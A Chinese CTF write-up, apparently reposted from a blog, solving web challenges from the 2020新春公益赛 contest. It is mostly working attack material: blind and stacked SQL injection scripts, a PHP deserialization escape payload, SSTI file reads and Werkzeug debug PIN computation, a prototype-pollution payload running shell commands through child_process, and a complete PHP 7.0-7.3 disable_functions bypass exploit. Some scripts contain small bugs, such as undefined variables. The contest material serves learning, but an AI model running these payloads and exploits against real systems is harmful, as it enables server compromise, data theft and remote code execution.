2020新春公益赛 writeup

简单的招聘系统

无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点:
在这里插入图片描述

/pages-blank.php?key=1%27+union+select+1%2C(select flaaag from flag)%2C3%2C4%2C5+%23

在这里插入图片描述

easysqli_copy

因为用到了PDO+gbk编码,所以应该是预编译+宽字节注入

import requests
import time
data=''
#payload="if(ascii(mid( (select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))!=1,sleep(3),1)"
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])
#print(str_to_hex(p.format(1,1)))
for i in range(1,45):
    for j in range(28,128):
        p = "select (ascii(mid((select fllllll4g from table1),'"+str(i)+"',1))='"+str(j)+"') and sleep(3)"
        p=str_to_hex(p)
        pay='0x'+p
        #print(str(pay))
        url="你的url/?id=1%df%27;set%20@xx="+str(pay)+";prepare%20a%20from%20@xx;execute%20a;"
        #print(url)
        t=time.time()
        requests.get(url)
        if time.time()-t >3 :
            data+=chr(j)
            print(data)

在这里插入图片描述

ezupload

上传php,/readflag

ezsqli

bool盲注,由于过滤了in,所以information、innodb等库都不能使用,测试了一下^符号可以用,select user()发现是root,所以可以用sys数据库
sys.schema_table_statistics_with_buffer

import requests
import string
import time
f=''
id = "2^(ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database() ),{},1))>{})"
#爆表
url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
for i in range(1,45):
    min=28
    max=126
    while abs(max - min) > 1:
        mid = (max + min) / 2
        data={'id':id.format(i,mid)}
        re=requests.post(url,data=data)
        #print(re.text)
        if 'QAQ'  in re.text:
            min=mid
        else:
            max=mid
    t += chr(int(matx))
    print(f)

得到表f1ag_1s_h3r3_hhhhh
在这里插入图片描述
本来以为要无列名注入,但是union select、join均被过滤,只能找其他方法

首先如果f1ag_1s_h3r3_hhhhh表中只有一列,那么可以直接用
SUBSTR((SELECT * FROM table),1,1)='x'来盲注

但是如果有两列及以上,那么就需要用相同数量的列进行比较,例如:

先看下面这个表
在这里插入图片描述
用相同数量的列去比较,不同的数据返回值不同,或许能用在盲注上
在这里插入图片描述
但是仔细看我这里flag列的值为大F开头,但是当输入a返回1,而小写字母的ascii都大于大写字母,原因是mysql默认是不区分大小写的,若想区分大小写可以用BINARY函数
在这里插入图片描述
可惜binary由于in被过滤无法使用,而binary的实际作用是:

BINARY 运算符将紧随其后的 string 转换为 二进制字符串。
主要用来强制进行按字节进行比较(byte by byte),字节而不是字符的字符。这使得字符串比>较是区分大小写的

而当一个字符串连接一个二进制的值时,其得到的也将是二进制,而MySQL中的JSON对象是二进制对象,所以可以用

SELECT CONCAT(“a”, CAST(0 AS JSON))

在这里插入图片描述

因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx}

在这里插入图片描述
exp:

import requests
import string
#print(('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\',''))
s='-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[]^_`{|}~'
flag=''
url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
for i in range(1,45):
    for j in s:
        j=flag+j
        id="2^((select 1,concat('{}~',CAST('0' as json)))>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
        #print(id)
        data={'id':id.format(j)}
        re=requests.post(url,data=data)
        #print(re.text)
        if "QAQ"  in re.text:
            flag=j
            print(flag)
            break

在这里插入图片描述
参考:
smi1e出题笔记
无需in的盲注

如果是在buu上复现可能有点不一样,由于是marridb,无json类型,所以cast会返回bool(false),但是flag全是小写也不用在意,贴个脚本,用的十六进制处理

import requests
import binascii
result=''
url='http://c58f500a-95fc-478d-8ce4-3b2798fd24b1.node3.buuoj.cn/index.php'
text=''
for i in range(1,43):
    low=0
    high=126
    while low <= high:
        mid = (low+high)/2
        #print((str(binascii.hexlify(( chr(int(mid))).encode())))[2:-1])
        payload='1^((select 1,0x'+ (str(binascii.hexlify((text+chr(int(mid))).encode())))[2:-1]+ ') < (select * from f1ag_1s_h3r3_hhhhh))^1'
        #print(payload)
        r=requests.post(url,data={'id':payload})
        if 'Nu1L' in r.text:
            low = mid+1
        elif 'Error' in r.text:
            high = mid-1
    mid_num=int((low+high+1)/2)
    text+=chr(mid_num-1)
    print(text)
print(result.lower())

盲注

源码

<?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

过滤了= select < >的盲注
?id=-1 or mid(fl4g,1,1) in ("f") and sleep(3)会延时三秒,我一直觉得这f14g是个变量
exp:

import requests
import time
flag=''
#脚本写的有点渣跑的比较慢
url='http://ba940addab964d3e87ccc58b5542b0ed06cef7156f8d49ce.changame.ichunqiu.com/?id=-1 or ascii(mid(fl4g,{},1)) in ({}) and sleep(3)'
for i in range(1,45):
    for j in range(28,127):
        t=time.time()
        requests.get(url.format(i,j))
        if time.time()-t > 3:
            flag+=chr(j)
            print(flag)

在这里插入图片描述

babyphp

知识点:反序列化逃逸+pop链
www.zip获得源码,类配置在lib.php中,而入口在update.php中

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}
?>

入口函数在
UpdateHelper::__destruct
在这里插入图片描述
令$this->sql=new User()触发User::tostring
在这里插入图片描述
令$this->nickname=new Info()触发Info::__call
在这里插入图片描述
令$this->CtrlCase=new dbCtrl()跳到dbCtrl::login
在这里插入图片描述
接受一个参数$sql并执行该语句,如果token=admin则返回结果,所以$this->token=admin
参数$sql来自Info::__call的arguement,而Info::__call的参数来自User::tostring的$this->age
所以User::$this->age应=sql语句

pop链如下:

<?php
class user{
    public $age;
    public $nickname;
    public function __construct(){
        $this->nickname = new Info();
        $this->age='select password,id from user where username="admin"';
    }
}
Class UpdateHelper{

    public $sql;
    public function __construct($newInfo,$sql){
        $this->sql=new user();
    }
}
class Info{
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->CtrlCase=new dbCtrl();
    }   
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token='admin';
    }
}
echo serialize(new UpdateHelper());

得到

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

如果在update.php页面什么都不传参,结果是:

O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";N;}

能够反序列化逃逸的点在User::getNewInfo下
在这里插入图片描述
控制nickname为pop链生成的结果,由于默认为3个键值对,为了不出错,需要加上";s:8:"CtrlCase";
也就是:

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

一共221个,再看一下替换函数
在这里插入图片描述
44个*=220,在来一个union=1

********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

payload:

/update.php POST
age=&nickname=********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

在这里插入图片描述
md5解密一下=yingyingying,登陆一下即可
在这里插入图片描述

blacklist

改编自强网杯随便注,加了几个过滤:
在这里插入图片描述
但是还有handler可以代替查内容
在这里插入图片描述
payload:

?inject=1';handler FlagHere open as a;handler a read first;

在这里插入图片描述

Flaskapp

在decode页面随便输入123会进入debug页面,并且需要输入pin码才能获得console权限
获取pin码需要知道:
1.username
2.modename:为flask.app
3.getattr(app, '__name__', getattr(app.__class__, '__name__')):为Flask
4.app.py的绝对路径
5.mac地址
6.get_machine_id()
可以用ssti读取文件,

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

base64加密放到decode页面即可读文件
在/etc/passwd下得知username为flaskweb,app.py的绝对路径可以在debug页面直接看到
在这里插入图片描述
mac地址在/sys/class/net/eth0/address下得到,需要转换为十进制
在这里插入图片描述
十进制
在这里插入图片描述
get_machine_id()的话这里有个坑,首先先看/proc/self/cgroup,如果第一行出现/docker/字符那么后面的就是machine_id,如果没有则需要去/etc/machine-id看
在这里插入图片描述
第一行有/docker,所以后面一串就是machine_id,而不是在/etc/machine-id!!(坑)
然后套脚本:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377957890',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'ef59c69d152dc41a33d4e816fd7cd936e2736b989ab6765665c6e2e43c4a918a'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

获得pin码,输入进入console
在这里插入图片描述
参考:https://xz.aliyun.com/t/2553#toc-2

ezexpress

知识点:javascript大小写特性绕过+原型链污染
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

由于注册的用户名都会被转换成大写,并且不能有admin,但要upper后要=ADMIN
可以利用这个js特性绕过

"ı".toUpperCase() == 'I'
POST: /login
userid=adm%C4%B1n&pwd=123&action=login&Submit=register

成为ADMIN来到action页面
在这里插入图片描述
然后就要用原型链污染了,具体原理还不太懂,下次分析==
payload:

POST /action
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}

在这里插入图片描述
弹窗success后访问info,污染原型链
在这里插入图片描述
/flag就被写入了/app/public/flag,也就是web目录/flag,自动下载文件
在这里插入图片描述

ezthinking

知识点:thinkphp6.0任意文件操作漏洞
参考文章:https://paper.seebug.org/1114/

在search页面
大致就是如果
会把输入的key传入session并保存session文件,而文件名就是sess_ + 当前session的值,并且这里session长度需要为32才能保存文件

所以在这里插入图片描述
在这里插入图片描述
看一下根目录有readflag,不过system被禁用了,所以需要连蚁剑上传bypass

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
# 
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}

在这里插入图片描述

猜你喜欢

转载自www.cnblogs.com/W4nder/p/12358559.html